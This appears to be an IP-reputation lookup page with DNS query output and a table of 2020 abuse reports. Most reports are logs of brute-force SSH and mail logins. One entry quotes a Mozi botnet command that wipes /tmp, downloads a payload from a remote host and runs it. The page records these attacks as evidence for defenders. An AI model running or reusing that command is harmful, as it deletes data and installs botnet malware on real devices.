City: unknown
Region: unknown
Country: United States of America (the)
Internet Service Provider: unknown
Hostname: unknown
Organization: unknown
Usage Type: unknown
b; <<>> DiG 9.10.3-P4-Ubuntu <<>> 52.55.216.242
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 5800
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0
;; QUESTION SECTION:
;52.55.216.242. IN A
;; AUTHORITY SECTION:
. 30 IN SOA a.root-servers.net. nstld.verisign-grs.com. 2025022500 1800 900 604800 86400
;; Query time: 37 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Tue Feb 25 17:46:55 CST 2025
;; MSG SIZE rcvd: 106242.216.55.52.in-addr.arpa domain name pointer ec2-52-55-216-242.compute-1.amazonaws.com.Server: 183.60.83.19
Address: 183.60.83.19#53
Non-authoritative answer:
242.216.55.52.in-addr.arpa name = ec2-52-55-216-242.compute-1.amazonaws.com.
Authoritative answers can be found from:| IP | Type | Details | Datetime |
|---|---|---|---|
| 167.172.98.198 | attack | Sep 20 22:10:16 gw1 sshd[19450]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=167.172.98.198 Sep 20 22:10:18 gw1 sshd[19450]: Failed password for invalid user admin from 167.172.98.198 port 34062 ssh2 ... |
2020-09-21 02:26:48 |
| 111.72.196.154 | attackspambots | Sep 19 20:27:41 srv01 postfix/smtpd\[25017\]: warning: unknown\[111.72.196.154\]: SASL LOGIN authentication failed: UGFzc3dvcmQ6 Sep 19 20:27:52 srv01 postfix/smtpd\[25017\]: warning: unknown\[111.72.196.154\]: SASL LOGIN authentication failed: UGFzc3dvcmQ6 Sep 19 20:28:08 srv01 postfix/smtpd\[25017\]: warning: unknown\[111.72.196.154\]: SASL LOGIN authentication failed: UGFzc3dvcmQ6 Sep 19 20:28:28 srv01 postfix/smtpd\[25017\]: warning: unknown\[111.72.196.154\]: SASL LOGIN authentication failed: UGFzc3dvcmQ6 Sep 19 20:28:40 srv01 postfix/smtpd\[25017\]: warning: unknown\[111.72.196.154\]: SASL LOGIN authentication failed: UGFzc3dvcmQ6 ... |
2020-09-21 02:08:19 |
| 154.83.15.91 | attackspam | Sep 20 19:51:55 PorscheCustomer sshd[10914]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=154.83.15.91 Sep 20 19:51:57 PorscheCustomer sshd[10914]: Failed password for invalid user oracle from 154.83.15.91 port 40900 ssh2 Sep 20 19:55:49 PorscheCustomer sshd[11012]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=154.83.15.91 ... |
2020-09-21 02:05:24 |
| 180.166.240.99 | attackbots | Sep 20 06:28:32 ns382633 sshd\[18968\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=180.166.240.99 user=root Sep 20 06:28:34 ns382633 sshd\[18968\]: Failed password for root from 180.166.240.99 port 59174 ssh2 Sep 20 06:43:01 ns382633 sshd\[21707\]: Invalid user admin1 from 180.166.240.99 port 50238 Sep 20 06:43:01 ns382633 sshd\[21707\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=180.166.240.99 Sep 20 06:43:03 ns382633 sshd\[21707\]: Failed password for invalid user admin1 from 180.166.240.99 port 50238 ssh2 |
2020-09-21 02:11:54 |
| 76.175.254.238 | attackspam | Automatic report - Port Scan Attack |
2020-09-21 01:56:21 |
| 132.232.2.100 | attackbotsspam | Sep 20 13:29:11 pve1 sshd[26124]: Failed password for root from 132.232.2.100 port 38342 ssh2 Sep 20 13:38:31 pve1 sshd[30049]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=132.232.2.100 ... |
2020-09-21 02:15:15 |
| 115.96.167.167 | attack | C1,DEF GET /shell?cd+/tmp;rm+-rf+*;wget+http://115.96.167.167:48104/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws |
2020-09-21 02:02:19 |
| 112.85.42.176 | attack | Sep 20 20:26:09 abendstille sshd\[4526\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=112.85.42.176 user=root Sep 20 20:26:10 abendstille sshd\[4544\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=112.85.42.176 user=root Sep 20 20:26:11 abendstille sshd\[4526\]: Failed password for root from 112.85.42.176 port 26291 ssh2 Sep 20 20:26:13 abendstille sshd\[4544\]: Failed password for root from 112.85.42.176 port 10992 ssh2 Sep 20 20:26:14 abendstille sshd\[4526\]: Failed password for root from 112.85.42.176 port 26291 ssh2 ... |
2020-09-21 02:28:10 |
| 222.186.175.215 | attackbots | ... |
2020-09-21 01:59:05 |
| 184.105.139.75 | attackspambots | 8443/tcp 631/tcp 23/tcp... [2020-07-23/09-20]24pkt,13pt.(tcp),1pt.(udp) |
2020-09-21 02:17:33 |
| 107.161.86.149 | attackbots | Brute forcing email accounts |
2020-09-21 02:05:00 |
| 111.20.200.22 | attackspam | (smtpauth) Failed SMTP AUTH login from 111.20.200.22 (CN/China/-): 5 in the last 3600 secs; Ports: *; Direction: inout; Trigger: LF_SMTPAUTH; Logs: 2020-09-20 07:36:28 dovecot_login authenticator failed for (socialequityfoundation.com) [111.20.200.22]:60974: 535 Incorrect authentication data (set_id=nologin) 2020-09-20 07:36:58 dovecot_login authenticator failed for (socialequityfoundation.com) [111.20.200.22]:36444: 535 Incorrect authentication data (set_id=postmaster@socialequityfoundation.com) 2020-09-20 07:37:29 dovecot_login authenticator failed for (socialequityfoundation.com) [111.20.200.22]:39420: 535 Incorrect authentication data (set_id=postmaster) 2020-09-20 07:41:18 dovecot_login authenticator failed for (hotelrosaritoinn.info) [111.20.200.22]:38008: 535 Incorrect authentication data (set_id=nologin) 2020-09-20 07:41:48 dovecot_login authenticator failed for (hotelrosaritoinn.info) [111.20.200.22]:40866: 535 Incorrect authentication data (set_id=postmaster@hotelrosaritoinn.info) |
2020-09-21 02:22:30 |
| 90.176.241.202 | attackbotsspam |
|
2020-09-21 02:09:19 |
| 201.244.171.129 | attackbots | $f2bV_matches |
2020-09-21 01:57:41 |
| 60.169.81.229 | attackbots | SIP/5060 Probe, BF, Hack - |
2020-09-21 02:10:10 |